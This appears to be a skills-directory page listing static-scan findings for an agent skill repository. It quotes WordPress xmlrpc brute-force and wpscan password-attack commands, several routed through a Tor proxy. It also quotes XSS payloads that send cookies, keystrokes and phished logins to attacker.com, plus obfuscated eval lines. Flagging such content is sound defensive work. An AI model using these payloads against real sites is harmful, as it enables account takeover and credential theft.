    # List available methods curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' http://target.com/xmlrpc.php
  • Network accessline 353
    curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' http://target.com/xmlrpc.php
  • Network accessline 381
    curl -X POST -d @xmlrpc_brute.xml http://target.com/xmlrpc.php
  • Network accessline 387
    # Use Tor proxy wpscan --url http://target.com --proxy socks5://127.0.0.1:9050
  • Network accessline 388
    wpscan --url http://target.com --proxy socks5://127.0.0.1:9050
  • Network accessline 390
    # HTTP proxy wpscan --url http://target.com --proxy http://127.0.0.1:8080
  • Network accessline 391
    wpscan --url http://target.com --proxy http://127.0.0.1:8080
  • Network accessline 393
    # Burp Suite proxy wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks
  • Network accessline 394
    wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks
  • Network accessline 400
    # Basic authentication wpscan --url http://target.com --http-auth admin:password
  • Network accessline 401
    wpscan --url http://target.com --http-auth admin:password
  • Network accessline 403
    # Force SSL/TLS wpscan --url https://target.com --disable-tls-checks
  • Network accessline 404
    wpscan --url https://target.com --disable-tls-checks
  • Network accessline 434
    | Purpose | Command | |---------|---------| | Basic scan | `wpscan --url http://target.com` |
  • Network accessline 435
    |---------|---------| | Basic scan | `wpscan --url http://target.com` | | All enumeration | `wpscan --url http://target.com -e at,ap,u` |
  • Network accessline 436
    | Basic scan | `wpscan --url http://target.com` |
  • Network accessline 437
    | All enumeration | `wpscan --url http://target.com -e at,ap,u` |
  • Network accessline 438
    | Password attack | `wpscan --url http://target.com -U admin -P pass.txt` |
  • Network accessline 439
    | Aggressive | `wpscan --url http://target.com --detection-mode aggressive` |

skills/xss-html-injection/SKILL.md

  • Network accessline 120
    <!-- Cookie stealing payload --> <script> document.location='http://attacker.com/steal?c='+document.cookie
  • Network accessline 121
    <script> document.location='http://attacker.com/steal?c='+document.cookie </script>
  • Network accessline 122
    document.location='http://attacker.com/steal?c='+document.cookie
  • Network accessline 126
    <script> document.onkeypress=function(e){   new Image().src='http://attacker.com/log?k='+e.key;
  • Network accessline 127
    document.onkeypress=function(e){   new Image().src='http://attacker.com/log?k='+e.key; }
  • Network accessline 128
    new Image().src='http://attacker.com/log?k='+e.key;
  • Network accessline 132
    <!-- Session hijacking --> <script> fetch('http://attacker.com/capture',{
  • Network accessline 133
    <script> fetch('http://attacker.com/capture',{   method:'POST',
  • Network accessline 134
    fetch('http://attacker.com/capture',{
  • Network accessline 141
    <div id="login"> <h2>Session Expired - Please Login</h2> <form action="http://attacker.com/phish" method="POST">
  • Network accessline 142
    <h2>Session Expired - Please Login</h2> <form action="http://attacker.com/phish" method="POST"> Username: <input name="user"><br>
  • Network accessline 143
    <form action="http://attacker.com/phish" method="POST">
  • Network accessline 157
    # Basic reflected payload https://target.com/search?q=<script>alert(document.domain)</script>
  • Network accessline 158
    https://target.com/search?q=<script>alert(document.domain)</script>
  • Network accessline 160
    # URL-encoded payload https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
  • Network accessline 161
    https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
  • Network accessline 163
    # Event handler in parameter https://target.com/page?name="><img src=x onerror=alert(1)>
  • Network accessline 164
    https://target.com/page?name="><img src=x onerror=alert(1)>
  • Network accessline 166
    # Fragment-based (for DOM XSS) https://target.com/page#<script>alert(1)</script>
  • Network accessline 167
    https://target.com/page#<script>alert(1)</script>
  • Dangerous shell operationline 193
    eval()
  • Network accessline 220
    // Hash-based injection https://target.com/page#<img src=x onerror=alert(1)>
  • Network accessline 221
    https://target.com/page#<img src=x onerror=alert(1)>
  • Network accessline 223
    // URL parameter injection (processed client-side) https://target.com/page?default=<script>alert(1)</script>
  • Network accessline 224
    https://target.com/page?default=<script>alert(1)</script>
  • Network accessline 226
    // PostMessage exploitation // On attacker page: <iframe src="https://target.com/vulnerable"></iframe>
  • Network accessline 227
    // On attacker page: <iframe src="https://target.com/vulnerable"></iframe> <script>
  • Network accessline 228
    <iframe src="https://target.com/vulnerable"></iframe>
  • Network accessline 243
    <!-- Form hijacking --> <form action="http://attacker.com/capture">
  • Network accessline 244
    <form action="http://attacker.com/capture">
  • Network accessline 249
    <!-- CSS injection for data exfiltration --> <style> input[value^="a"]{background:url(http://attacker.com/a)}
  • Network accessline 250
    <style> input[value^="a"]{background:url(http://attacker.com/a)} input[value^="b"]{background:url(http://attacker.com/b)}
  • Network accessline 251
    input[value^="a"]{background:url(http://attacker.com/a)}
  • Network accessline 252
    input[value^="b"]{background:url(http://attacker.com/b)}
  • Network accessline 255
    <!-- iframe injection --> <iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe>
  • Network accessline 256
    <iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe>
  • Dangerous shell operationline 317
    <script>eval('al'+'ert(1)')</script>
  • Dangerous shell operationline 326
    <script>eval(atob('YWxlcnQoMSk='))</script>
  • Possible obfuscationline 326
    <script>eval(atob('YWxlcnQoMSk='))</script>
  • Network accessline 372
    <script> new Image().src='http://attacker.com/c='+btoa(document.cookie);
  • Network accessline 373
    new Image().src='http://attacker.com/c='+btoa(document.cookie);
  • Network accessline 379
    <script> fetch('https://attacker.com/log',{
  • Network accessline 380
    fetch('https://attacker.com/log',{
  • Network accessline 430
    <script> var i = new Image(); i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
  • Network accessline 431
    var i = new Image(); i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie); </script>
  • Network accessline 432
    i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
  • Network accessline 444
    https://shop.example.com/search?q=test
  • Network accessline 449
    https://shop.example.com/search?q=<script>alert(document.domain)</script>
  • Network accessline 454
    https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3E
  • Network accessline 470
    https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>
  • Network accessline 481
    Content-Security-Policy: script-src 'self' https://cdn.trusted.com
  • Network accessline 486
    <script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>

How the signals fit together

Facts from a static read of the files at the pinned commit. They describe what the code does, not why.

Some files could not be read; the facts below still hold.

Combined signals: 4 facts
Declared and executed: 1 fact
Signal confidence: 495 facts

and 445 more

Only the first 500 facts are listed.

Works with

Agent compatibility, from the files in this repository
AgentStatusEvidenceInstall to
Claude CodeCompatibleStandard SKILL.md skills/academic-paper-reviewer/SKILL.md.claude/skills/<skill-name>/
CodexNativeManifest skills/composition-patterns/AGENTS.md.agents/skills/<skill-name>/
CursorCompatibleStandard SKILL.md skills/academic-paper-reviewer/SKILL.md.cursor/skills/<skill-name>/
Gemini CLICompatibleStandard SKILL.md skills/academic-paper-reviewer/SKILL.md.gemini/skills/<skill-name>/
GitHub CopilotCompatibleStandard SKILL.md skills/academic-paper-reviewer/SKILL.md.github/skills/<skill-name>/
OpenCodeCompatibleStandard SKILL.md skills/academic-paper-reviewer/SKILL.md.opencode/skills/<skill-name>/
  • Native The repository ships a manifest, folder or frontmatter field for this agent.
  • Compatible A standard SKILL.md that this agent can read.
  • Unknown No evidence either way.

Derived automatically from paths, manifests and frontmatter. Not tested on each agent.

Explore alternatives and comparisons

Add this badge to your README

It updates every night and links to this page.

zebbern/claude-code-guide: #290 on hotskills, 4.7k stars

[![zebbern/claude-code-guide on hotskills](https://hotskills.dev/badge/zebbern-claude-code-guide.svg)](https://hotskills.dev/skill/zebbern-claude-code-guide/)